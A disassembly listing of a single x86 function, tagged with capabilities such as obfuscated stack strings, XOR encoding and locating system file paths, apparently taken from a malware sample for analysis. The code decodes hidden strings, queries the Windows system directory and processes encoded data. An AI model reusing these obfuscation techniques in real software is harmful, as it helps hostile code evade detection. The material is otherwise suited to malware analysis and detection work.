Function at 0x40d4b0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xcb8
mov ecx, dword [str.e5b4f1ca772b1aef51effb4ce008b386]
mov dword [esp + 0x24], 0xc0825c99
mov dword [esp + 0xc0], 0
mov eax, dword [esp + 0xc0]
cmp eax, 3
ja 0x40d538
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc0]
mov edx, dword [esp + 0xc0]
movzx edx, byte [esp + edx + 0x24]
add eax, 0xdc9c6cd8
xor eax, edx
mov dword [esp + 0x2a8], eax
mov eax, dword [esp + 0x2a8]
add al, 0xe5
mov edx, dword [esp + 0xc0]
mov byte [esp + edx + 0x24], al
inc dword [esp + 0xc0]
mov eax, dword [esp + 0xc0]
cmp eax, 4
jb 0x40d4f0
mov edx, dword [str.BFfKAH__PDF]
mov dword [esp + 0x2a8], 0x4c34242d
mov dword [esp + 0x2ac], 0x3c212230
mov dword [esp + 0x2b0], 0x24393e30
mov dword [esp + 0x2b4], 0x3c29283d
mov dword [esp + 0x2b8], 0x25763627
mov dword [esp + 0x2bc], 0x635b2735
mov dword [esp + 0x2c0], 0xd78e9968
mov dword [esp + 0x2c4], 0x6fa3c9d1
mov word [esp + 0x2c8], 0
mov byte [esp + 0x2ca], 0
mov dword [esp + 0x228], 0
mov eax, dword [esp + 0x228]
cmp eax, 0x22
ja 0x40d60e
nop
mov eax, dword [esp + 0x228]
mov esi, dword [esp + 0x228]
movzx esi, byte [esp + esi + 0x2a8]
add eax, 0x4ecb0367
xor eax, esi
mov dword [esp + 0xc0], eax
mov eax, dword [esp + 0xc0]
add al, 0x17
mov esi, dword [esp + 0x228]
mov byte [esp + esi + 0x2a8], al
inc dword [esp + 0x228]
mov eax, dword [esp + 0x228]
cmp eax, 0x23
jb 0x40d5c0
movzx ebx, byte [esp + 0x2a8]
lea eax, [esp + 0x228]
test bl, bl
je 0x40d63b
lea esi, [esp + 0x2a9]
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], bl
inc eax
movzx ebx, byte [esi]
inc esi
test bl, bl
jne 0x40d630
mov byte [eax], 0
movzx ebx, byte [edx]
test bl, bl
je 0x40d65b
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], bl
inc eax
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x40d650
mov byte [eax], 0
movzx edx, byte [esp + 0x24]
test dl, dl
je 0x40d67b
lea esi, [esp + 0x25]
nop
nop
nop
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [esi]
inc esi
test dl, dl
jne 0x40d670
mov byte [eax], 0
movzx edx, byte [ecx]
test dl, dl
je 0x40d69b
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x40d690
mov byte [eax], 0
mov dword [esp + 0x2a8], 0x9361954b
mov dword [esp + 0x2ac], 0xaf229162
mov dword [esp + 0x2b0], 0xab58ad51
mov dword [esp + 0x2b4], 0xa793a924
mov dword [esp + 0x2b8], 0xa32ba548
mov dword [esp + 0x2bc], 0xbf43a150
mov dword [esp + 0x2c0], 0xbb9abd7a
mov dword [esp + 0x2c4], 0xb746b959
mov dword [esp + 0x2c8], 0xb346b544
mov dword [esp + 0x2cc], 0x4fb1b149
mov dword [esp + 0x2d0], 0x4bc64dad
mov dword [esp + 0x2d4], 0x47b549b1
mov dword [esp + 0x2d8], 0x437145b6
mov dword [esp + 0x2dc], 0x5f6b41c8
mov dword [esp + 0x2e0], 0x5bd15dd7
mov dword [esp + 0x2e4], 0x576359d3
mov dword [esp + 0x2e8], 0x53a155ae
mov dword [esp + 0x2ec], 0x6f9b51de
mov dword [esp + 0x2f0], 0x6be76d59
mov dword [esp + 0x2f4], 0x679269e6
mov dword [esp + 0x2f8], 0x63906599
mov dword [esp + 0x2fc], 0x7f8d619f
mov dword [esp + 0x300], 0x7b877d80
mov dword [esp + 0x304], 0x77637984
mov dword [esp + 0x308], 0x73727562
mov word [esp + 0x30c], 0
lea ecx, [esp + 0x228]
mov dword [esp + 0x24], 0
mov edx, dword [esp + 0x24]
cmp edx, 0x65
ja 0x40d821
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [esp + 0x24]
mov esi, dword [esp + 0x24]
movzx esi, byte [esp + esi + 0x2a8]
add edx, 0x7571b5da
xor edx, esi
mov dword [esp + 0xc0], edx
mov edx, dword [esp + 0xc0]
add dl, 0xb2
mov esi, dword [esp + 0x24]
mov byte [esp + esi + 0x2a8], dl
inc dword [esp + 0x24]
mov edx, dword [esp + 0x24]
cmp edx, 0x66
jb 0x40d7e0
sub eax, ecx
mov dword [esp + 0xc0], 0x7f9f7143
mov dword [esp + 0xc4], 0x7b937d8c
mov dword [esp + 0xc8], 0x7978
mov dword [esp + 0x1c0], 0
mov edx, dword [esp + 0x1c0]
cmp edx, 0xb
ja 0x40d8aa
nop
nop
nop
nop
nop
mov edx, dword [esp + 0x1c0]
mov esi, dword [esp + 0x1c0]
movzx esi, byte [esp + esi + 0xc0]
add edx, 0x30c4adb6
xor edx, esi
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0x24]
add dl, 0x3a
mov esi, dword [esp + 0x1c0]
mov byte [esp + esi + 0xc0], dl
inc dword [esp + 0x1c0]
mov edx, dword [esp + 0x1c0]
cmp edx, 0xc
jb 0x40d860
lea edx, [esp + 0xb8]
lea esi, [esp + 0xa8]
lea ebx, [esp + 0x2a8]
lea edi, [esp + 0xc0]
push edx
push esi
push eax
push ecx
push ebx
push edi
push 0x448a64
call fcn.0040c390
add esp, 0x1c
movzx eax, al
xor esi, esi
jmp dword [eax*4 + 0x44433c]
push 0x104
lea eax, [esp + 0x2ac]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, dword [esp + 0xb8]
mov edx, ecx
and edx, 0xfffffffc
mov esi, ecx
and esi, 3
mov eax, ecx
or eax, 3
imul eax, esi
xor esi, 3
imul esi, edx
mov edx, ecx
not edx
add eax, esi
and edx, 1
mov esi, ecx
and esi, 0xfffffffe
sub esi, edx
mov ebx, dword [esp + 0xa8]
shr eax, 2
movzx edx, byte [ebx + esi]
cmp edx, 0x3d
je 0x40d93f
cmp edx, 0x2e
jne 0x40d940
dec eax
movzx ecx, byte [ebx + ecx - 2]
cmp ecx, 0x3d
je 0x40d94f
cmp ecx, 0x2e
jne 0x40d956
mov ecx, eax
not ecx
lea eax, [ecx + eax*2]
push eax
call fcn.00409840
add esp, 4
mov esi, eax
push eax
push ebx
call fcn.00437440
add esp, 8
push dword [esp + 0xa8]
call fcn.0043a910
add esp, 4
mov eax, dword [case.0x40d8de.0]
nop
jmp eax
xor ecx, ecx
test esi, esi
sete cl
xor eax, eax
jmp dword [ecx*4 + 0x444354]
push esi
call fcn.00402ac0
add esp, 4
mov ebx, eax
jmp dword [0x44435c]
push esi
call fcn.00409850
add esp, 4
push ebx
call fcn.004033d0
add esp, 4
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], 0x19589
mov dword [esp + 0xc0], 0
mov eax, dword [esp + 0xc0]
cmp eax, 3
lea esi, [esp + 0x2a8]
ja 0x40da28
nop
mov eax, dword [esp + 0xc0]
mov ecx, dword [esp + 0xc0]
movzx ecx, byte [esp + ecx + 0x24]
add eax, 0xf185afbd
xor eax, ecx
mov dword [esp + 0x2a8], eax
mov eax, dword [esp + 0x2a8]
add al, 0x42
mov ecx, dword [esp + 0xc0]
mov byte [esp + ecx + 0x24], al
inc dword [esp + 0xc0]
mov eax, dword [esp + 0xc0]
cmp eax, 4
jb 0x40d9e0
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x24]
call fcn.00403450
add esp, 8
xor ecx, ecx
test eax, eax
setg cl
jmp dword [ecx*4 + 0x444364]
call fcn.00435b10
movzx eax, al
jmp dword [eax*4 + 0x44436c]
mov word [esp + 0x2a8], 0x2426
mov byte [esp + 0x2aa], 0xc7
mov dword [esp + 0x2ab], 0
mov eax, dword [0x444380]
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
push ebx
call fcn.00403640
add esp, 4
xor eax, eax
jmp case.0x40d8de.7
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret